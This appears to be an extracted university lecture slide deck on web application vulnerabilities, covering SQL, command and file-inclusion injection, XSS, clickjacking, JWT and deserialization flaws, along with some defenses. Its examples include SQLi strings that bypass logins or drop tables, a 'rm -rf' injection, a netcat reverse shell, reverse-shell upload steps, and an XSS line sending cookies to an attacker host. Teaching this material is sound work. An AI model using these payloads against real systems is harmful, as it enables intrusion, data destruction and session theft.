Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

Chapter 7 Application Vulnerabilities

Download as pdf or txt
Download as pdf or txt
You are on page 1of 73

Chapter 6: Exploiting

Applications Vulnerabilities
Dr. Sarah Abu Ghazalah
Introduction
• Injection vulnerabilities are among the primary mechanisms that
penetration testers use to break through a web application and gain
access to the systems supporting that application.
• Input Validation: Applications that allow user input should perform
validation of that input to reduce the likelihood that it contains an
attack.
Input Whitelisting
• The most effective form of input validation uses input whitelisting , in which the
developer describes the exact type of input that is expected from the user and
then verifies that the input matches that specification before passing the input to
other processes or servers.
• For example, if an input form prompts a user to enter their age, input whitelisting
could verify that the user supplied an integer value within the range 0–120. The
application would then reject any values outside that range.

So, what do you think the disadvantages here


Input Blacklisting
• It is often difficult to perform input whitelisting because of the nature of many
fields that allow user input. For example, imagine a classified ad application that
allows users to input the description of a product that they wish to list for sale. It
would be very difficult to write logical rules that describe all valid submissions.
• In this case, developers might use input blacklisting to control user input. With this
approach, developers do not try to explicitly describe acceptable input, but instead
describe potentially malicious input that must be blocked.
• For example, developers might restrict the use of HTML tags or SQL commands in
user input.
• For example, completely disallowing the use of a single quote (') may be useful in
protecting against SQL injection attacks, but it may also make it difficult to enter
last names that include apostrophes, such as O’Reilly
Parameter Pollution
• Parameter pollution is one technique that attackers have used successfully to defeat input validation
controls.

http://www.mycompany.com/status.php?account=12345

How this can be attacked?


Parameter Pollution

http://www.mycompany.com/status.php?account=12345' OR
1=1;--
http://10.10.231.136:5000/sesqli3/login?profileID=a' or 1=1 --a' or 1=1 --&password=a
http://MACHINE_IP:5000/sesqli3/login?profileID=-1' or 1=1-- -&password=a
SQL Injection Attack

• SQLi is an attack that exploits a security vulnerability occurring in


the database layer of an application (such as queries).
• Using SQL injection, the attacker can extract or manipulate the
web application’s data.
What is the impact of a successful SQL injection attack?

• A successful SQL injection attack can result in unauthorized access to sensitive


data, such as passwords, credit card details, or personal user information.
• Many high-profile data breaches in recent years have been the result of SQL
injection attacks.

More about SQLI: https://infosecwriteups.com/sql-injection-lab-tryhackme-writeup-fcf30f846e82


SQLi to Retrieve all
users’ data
Result
SQLi to Update Data
SQLi to Update Data
Example 2
var Shipcity;
ShipCity = Request.form (“ShipCity”);
var sql = “select * from OrdersTable where ShipCity = ‘” +ShipCity + “’”;

• The user enters Redmond, then the following SQL query is generated:
SELECT * FROM OrdersTable WHERE ShipCity = ‘Redmond’
• Suppose, however, the user enters the following:
Redmond’; DROP table OrdersTable--
• This results in the following SQL query:
SELECT * FROM OrdersTable WHERE ShipCity =‘Redmond’; DROP table
OrdersTable--
Example 3

$query = “SELECT info FROM user WHERE name =’$_GET[“name”]’ AND pwd =
‘$_GET[“pwd”]’”;

• Suppose the attacker submits “ ‘ OR 1=1 -- ” for the name field.


• The resulting query would look like this:
SELECT info FROM users WHERE name = ‘ ‘ OR 1=1 -- AND pwd = ‘ ‘
SQLi Countermeasures (Prepared Statement)
$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user = ? AND password = ?”);
$stmt->bind_param(“ss”, $username, $password);
$stmt->execute();

• The user-supplied data is not directly embedded in the SQL query in this example. Instead of the
user’s data there is a ? symbol. That is a placeholder and temporarily takes the place of the data.
• If the user inserts admin and a’ or ‘1’=’1, the initial SQL query logic won’t be changed. Instead, the
database will look for a user admin whose password is literally a’ or ‘1’=’1.
• The user-provided data will always be interpreted as a simple string and cannot modify the original
query’s logic.
Timing-Based Blind SQL Injection
• Penetration testers may use the amount of time required to process a query as a
channel for retrieving information from a database.
• An attacker seeking to verify whether an application is vulnerable to time-based
attacks might provide the following input to the account ID field:
52019'; WAITFOR DELAY '00:00:15'; --
• if the application returns the result after a 15-second delay, it is likely vulnerable.
• This might seem like a strange attack, but it can actually be used to extract
information from the database. For example, imagine that the Accounts database
table used in the previous example contains an unencrypted field named
Password. An attacker could use a timing-based attack to discover the password by
checking it letter-by-letter.
For each character in the password
For each letter in the alphabet
If the current character is equal to the current letter, wait 15 seconds before returning results
Command Injection
• Command injection is the abuse of an application’s behaviour to execute commands on the
operating system, using the same privileges that the application on a device is running with.

• For example, achieving command injection on a web server running as a user named joe will
execute commands under this joe user – and therefore obtain any permissions that joe has.

• A command injection vulnerability is also known as a “Remote Code Execution” (RCE) because an
attacker can trick the application into executing a series of payloads that they provide, without
direct access to the machine itself (i.e. an interactive shell). The webserver will process this code
and execute it under the privileges and access controls of the user who is running that application.

Command Injection
• For example, an application sets up a new student account for a course. Among other actions, it creates a
directory on the server for the student (mkdir).
• On a Linux system, the application might use a system() call to send the directory creation command to the
underlying operating system.
• For example, if someone fills in the textbox with mchapple >>>then the application might use this function
call:
system('mkdir /home/students/mchapple')
• An attacker examining this application might guess that this is how the application works and then supply the
input
mchapple & rm -rf /home
• which the application then uses to create the system call:
system('mkdir /home/students/mchapple & rm -rf home')
Command Injection
• Checking if the parameter "commandString" is set.
• If it is, then the variable $command_string gets what
was passed into the input field.
• The program then goes into a try block to execute
the function passthru($command_string). You can
read the docs on passthru() on PHP's website, but in
general, it is executing what gets entered into the
input then passing the output directly back to the
browser.
• If the try does not succeed, output the error to page.
Command Injection
• The worst thing they could do would be to spawn a reverse shell to
become the user that the web server is running as.

whoami ;nc -e /bin/bash


Uploading Files To Do Remote Command
Injection
Uploading Files To Do Remote Command
Injection
• By uploading arbitrary files, an attacker could potentially also use the
server to host and/or serve illegal content, or to leak sensitive
information.
• Steps: http://demo.uploadvulns.thm/uploads

1-
Gobuster is a tool used to brute-force: URIs (directories and files) in web sites,
DNS subdomains (with wildcard support), Virtual Host names on target web servers,
Open Amazon S3 buckets, Open Google Cloud buckets and TFTP servers
One of the primary steps in attacking an internet application is enumerating hidden
directories and files. Doing so can often yield valuable information that makes it easier to
execute a particular attack, leaving less room for errors and wasted time
2- We'll try uploading a legitimate image file first.
3- Then we will try to upload a malicious file that can do a reverse shell.
Fortunately, if a website is written in PHP, we can use reverse shell file
for PHP in KALI (php-reverse-shell.php), but you just need to change IP
address and port to the attacker IP address and listening port.
4- Open listener:

5- then upload the malicious file:


6- Press upload. Now the file should be visible in the resources folder.

7- Click on the file then you will get reverse shell.


Exploiting Authentication Vulnerabilities
• Applications, like servers and networks, rely upon authentication mechanisms to confirm the
identity of users and devices and verify that they are authorized to perform specific actions.
Password Authentication:
• There are many ways that an attacker may learn a user’s password, ranging from technical to social:
Conducting social engineering attacks that trick the user into revealing a password.
Eavesdropping on unencrypted network traffic
Obtaining a dump of passwords from previously compromised sites and assuming that a significant
proportion of users reuse their passwords from that site on other sites
Attackers may be able to conduct credential brute forcing attacks.
Systems often ship with default administrative accounts that may remain unchanged.
Sessions Attacks
• These attacks don’t require that the attacker gain access to the authentication mechanism; instead, they take
over an already authenticated session with a website.
Cookies

• The cookie contains an authentication string that ties the


cookie to a particular user session.
Cookies
• Cookies work the same way. They’re just digital versions of badges. If an attacker is able to steal
someone’s cookie, they may then impersonate that user to gain access to the website that issued
the cookie.
• There are several ways that an attacker might obtain a cookie:
■■ Eavesdropping on unencrypted network connections and stealing a copy of the cookie as it is
transmitted between the user and the website
■■ Installing malware on the user’s browser that retrieves cookies and transmits them back to the
attacker
■■ Engaging in a man-in-the-middle attack, where the attacker fools the user into thinking that the
attacker is actually the target website and presenting a fake authentication form. The attacker may
then authenticate to the website on the user’s behalf and obtain the cookie.
Cookies Hijacking Example
• A cross-site scripting (XSS) attack fools the user’s machine into executing malicious
code, although it thinks it secure because it seemingly comes from a trusted
server. When the script runs, it lets the hacker steal the cookie.
• An example of a cross-site scripting attack to execute session hijacking would be
when an attacker sends out emails with a special link to a known, trusted website.
The catch, however, is that the link also contains HTTP query parameters that
exploit a known vulnerability to inject a script:

http://www.yourbankswebsite.com/search?<script>location.href=’http://www.evilatt
acker.com/hijacker.php?cookie=’+document.cookie;</script>
Unvalidated Redirects
• Insecure URL redirects are another vulnerability that attackers may
exploit in an attempt to steal user sessions.
• Some web applications allow the browser to pass destination URLs to
the application and then redirect the user to that URL at the
completion of their transaction.
• For example, an ordering page might use URLs with this structure:
https://www.mycompany.com/ordering.php?redirect=http%3a//www.m
ycompany.com/ thankyou.htm
• The web application would then send the user to the thank you page
at the conclusion of the transaction.
Unvalidated Redirects
• However, if the application allows redirection to any URL, this creates a situation
known as an unvalidated redirect, which an attacker may use to redirect the user
to a malicious site.
• For example, an attacker might post a link to the page above on a message board
but alter the URL to appear as:
https://www.mycompany.com/ordering.php?redirect=http%3a//www.evilhacker.co
m/passwordstealer.htm
• Developers seeking to include redirection options in their applications should
perform validated redirects that check redirection URLs against an approved list.
This list might specify the exact URLs authorized for redirection, or more simply, it
might just limit redirection to URLs from the same domain.
Directory Traversal (dot
dot slash attack)
• It is a web security vulnerability allows an attacker to read operating
system resources
• Some web servers suffer from a security misconfiguration that
allows users to navigate the directory structure and access files that
should remain secure.
• For example, consider an Apache web server that stores web
content in the directory path /var/www/html/. That same server
might store the shadow password file, which contains hashed user
passwords, in the /etc directory using the filename /etc/shadow.
• For example, if the site were www.mycompany.com, the URL
www.mycompany.com/account.php would refer to the file
/var/www/html/account.php stored on the server.
Directory Traversal

• Directory traversal attacks use this knowledge and attempt to navigate outside of
the areas of the file system that are reserved for the web server. For example, a
directory traversal attack might seek to access the shadow password file by
entering this URL:
http://www.mycompany.com ../../../../etc/passwd
File inclusion attacks come in two variants:
■■ Local file inclusion attacks seek to execute code

File Inclusion stored in a file located elsewhere on the web server.


• For example, an attacker might use the following
URL to execute a file named attack.exe that is
stored in the C:\www\uploads directory on a
Windows server:
http://www.mycompany.com/app.php?include=C:\\
www\\uploads\\attack.exe
File Inclusion
Allow_url_open function to be exploited for RFI

■■ Remote file inclusion (RFI) attacks allow the attacker to go a step further
and execute code that is stored on a remote server. These attacks are
especially dangerous because the attacker can directly control the code.
For example, an attacker might use this URL to execute an attack file stored on
a remote server:
• http://www.mycompany.com/app.php?include=http://evil.attacker.com/atta
ck.exe
• When attackers discover a file inclusion vulnerability, they often exploit it to
upload a web shell to the server. Web shells allow the attacker to execute
commands on the server and view the results in the browser.
Cross-site scripting (XSS)
• In an attack called cross-site scripting, executable
code is included in the interaction between client
and server and executed bythe client or server.
• An XSS attack uses malicious code to redirect users to
malicious websites, steal cookies or credentials, or
deface websites.
Cross-site scripting (XSS) Stored XSS

Examples

The attacker opens a listener with netcat


to steal cookies
Cross-site scripting (XSS)

45 / 40
201

The Web-User Side


Cross-site scripting (XSS)
After
Before
Clickjacking
• Clickjacking is a malicious technique of tricking a Web
user into clicking on something different from what
the user perceives they are clicking on.
Clickjacking

• The most commom technique for doing clickjacking


attack is iframe.
• An iframe is a structure that can contain all or part of
a page, can be placed and moved anywhere on another
page, and can be layered on top of or underneath other
frames.
Clickjacking
Clickjacking
Clickjacking
Clickjacking

Figure:iframe tag for clickjacking attack


Browser-in-the-Browser attack (phishing)

The image shows the window


that appears when someone
attempts to login to Canva
using their Google account
Clickjacking Example (Browser-in-the-
Browser)
• The BitB attack is different from traditional phishing attacks, where the
user is redirected to a fake website that mimics the appearance of a
legitimate one. In a BitB attack, the user stays on the original website,
but sees a pop-up window that looks like it belongs to the service they
want to use for SSO.
• However, this pop-up window is actually created by the attacker using
HTML, CSS, and JavaScript tools, and can display any URL, including a
legitimate one, to trick the user into thinking they are on a safe page.
1. To carry out a BitB attack, the attacker needs to lure the user to visit
a malicious or compromised website that contains the phishing page
hosted on the attacker’s server.
2. The phishing page then creates a pop-up window using JavaScript
code that simulates the appearance and behaviour of such as
Facebook that the user wants to use for SSO.
3. The pop-up simulated window can also show any URL that the
attacker wants, such as https://accounts.google.com or
https://login.microsoftonline.com, by using JavaScript code that
modifies the simulated address bar of the pop-up window

Demo https://mrd0x.com/browser-in-the-browser-phishing-attack/
JSON Web Tokens (JWT) Attacks
• JWTs are most commonly used in authentication, session
management, and access control mechanisms.
• JSON Web Tokens (JWTs) are a standardized format for sending
cryptographically signed JSON data between systems. They can
theoretically contain any kind of data, but are most commonly used to
send information ("claims") about users as part of authentication,
session handling, and access control mechanisms.
JWT Format

• A JWT consists of 3 parts: a header, a payload, and a signature.


JWT Format
• The header and payload parts of a JWT are just base64url-encoded
JSON objects.
• The header contains metadata about the token itself.
• While the payload contains the actual "claims" about the user.
• The signature part is related to digitally signing the data with server
private key.
https://jwt.io/
Flawed Signature Versification
• If the server doesn't verify the signature properly, there's nothing to
stop an attacker from making arbitrary changes to the rest of the
token.
For example:
{ "username": "carlos", "isAdmin": false }
Here the attacker can change isAdmin to True and resend the token.
If the server does not verify the signature, then the attack will be
successful.

https://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php?
Weak Signing Key
• When implementing JWT applications, developers sometimes make
mistakes like forgetting to change default or placeholder secrets.
• It can be trivial for an attacker to brute-force a server's secret using
a wordlist of well-known secrets.
Insecure Deserialization
• Serialization is the process of converting complex data structures, such as objects and their
fields, into a "flatter" format that can be sent and received as a sequential stream of bytes.
• Deserialization is the process of restoring this byte stream to a fully functional replica of the
original object
For example, consider a User object with the attributes:
$user->name = "carlos"; $user->isLoggedIn = true;
When serialized, this object may look something like this:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
This can be interpreted as follows:
•O:4:"User" - An object with the 4-character class name "User"
•2 - the object has 2 attributes
•s:4:"name" - The key of the first attribute is the 4-character string "name"
•s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
•s:10:"isLoggedIn" - The key of the second attribute is the 10-character
string "isLoggedIn"
•b:1 - The value of the second attribute is the boolean value true
Insecure Deserialization
• This potentially enables an attacker to manipulate serialized objects in order to pass harmful data
into the application code.
• As a simple example, consider a website that uses a serialized User object to store data about a
user's session in a cookie. If an attacker spotted this serialized object in an HTTP request, they
might decode it to find the following byte stream:

• O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}
Insecure Deserialization (Modify Data Type)
• If you perform a loose comparison between an integer and a string, PHP will
attempt to convert the string to an integer, meaning that 5 == "5" evaluates
to true.
• PHP will effectively convert the entire string to an integer value based on
the initial number. The rest of the string is ignored completely.
• Therefore, 5 == "5 of something" is in practice treated as 5 == 5.

• This becomes even stranger when comparing a string the integer 0:

0 == "Example string" // true


• Why? Because there is no number, that is, 0 numerals in the string. PHP
treats this entire string as the integer 0
$login =
unserialize($_COOKIE) if
($login['password'] ==
$password) { // log in
successfully }

• Let's say an attacker modified the password attribute so that it


contained the integer 0 instead of the expected string. As long as the
stored password does not start with a number, the condition would
always return true, enabling an authentication bypass
Unsecure Coding Practices
• Error Handling: On the flip side of the error handling coin, overly verbose error
handling routines may also present risk. If error handling routines explain too
much about the inner workings of code, they may allow an attacker to find a way
to exploit the code.
• Source Code Comments: web applications that expose their code may allow
remote users to view comments left in the code. In those environments,
developers should remove comments from production versions of the code before
deployment
Signed Code

• Code signing provides developers with a way to confirm the


authenticity of their code to end users.
• Developers use a cryptographic function to digitally sign their code
with their own private key, and then browsers can use the developer’s
public key to verify that signature and ensure that the code is
legitimate and was not modified by unauthorized individuals
Testing Web
Applications
Dynamic Application Security Testing (DAST)
• Dynamic application security testing (DAST) relies
on execution of the code while providing it with
input to test the software.
• We can use Burp Suite as a proxy to test the code.
Fuzzing
• Fuzzers are automated testing tools that rapidly
create thousands of variants on input in an effort
to test many more input combinations than would
be possible with manual techniques.
Web Application Firewall
• Web application firewalls (WAFs) also play an important
role in protecting web applications against attack.
• WAFs function similarly to network firewalls, but they
work at the Application layer.
• A WAF sits in front of a web server, as shown in Figure
9.1, and receives all network traffic headed to that
server.
• It then scrutinizes the input headed to the application,
performing input validation (whitelisting and/or
blacklisting) before passing the input to the web server

You might also like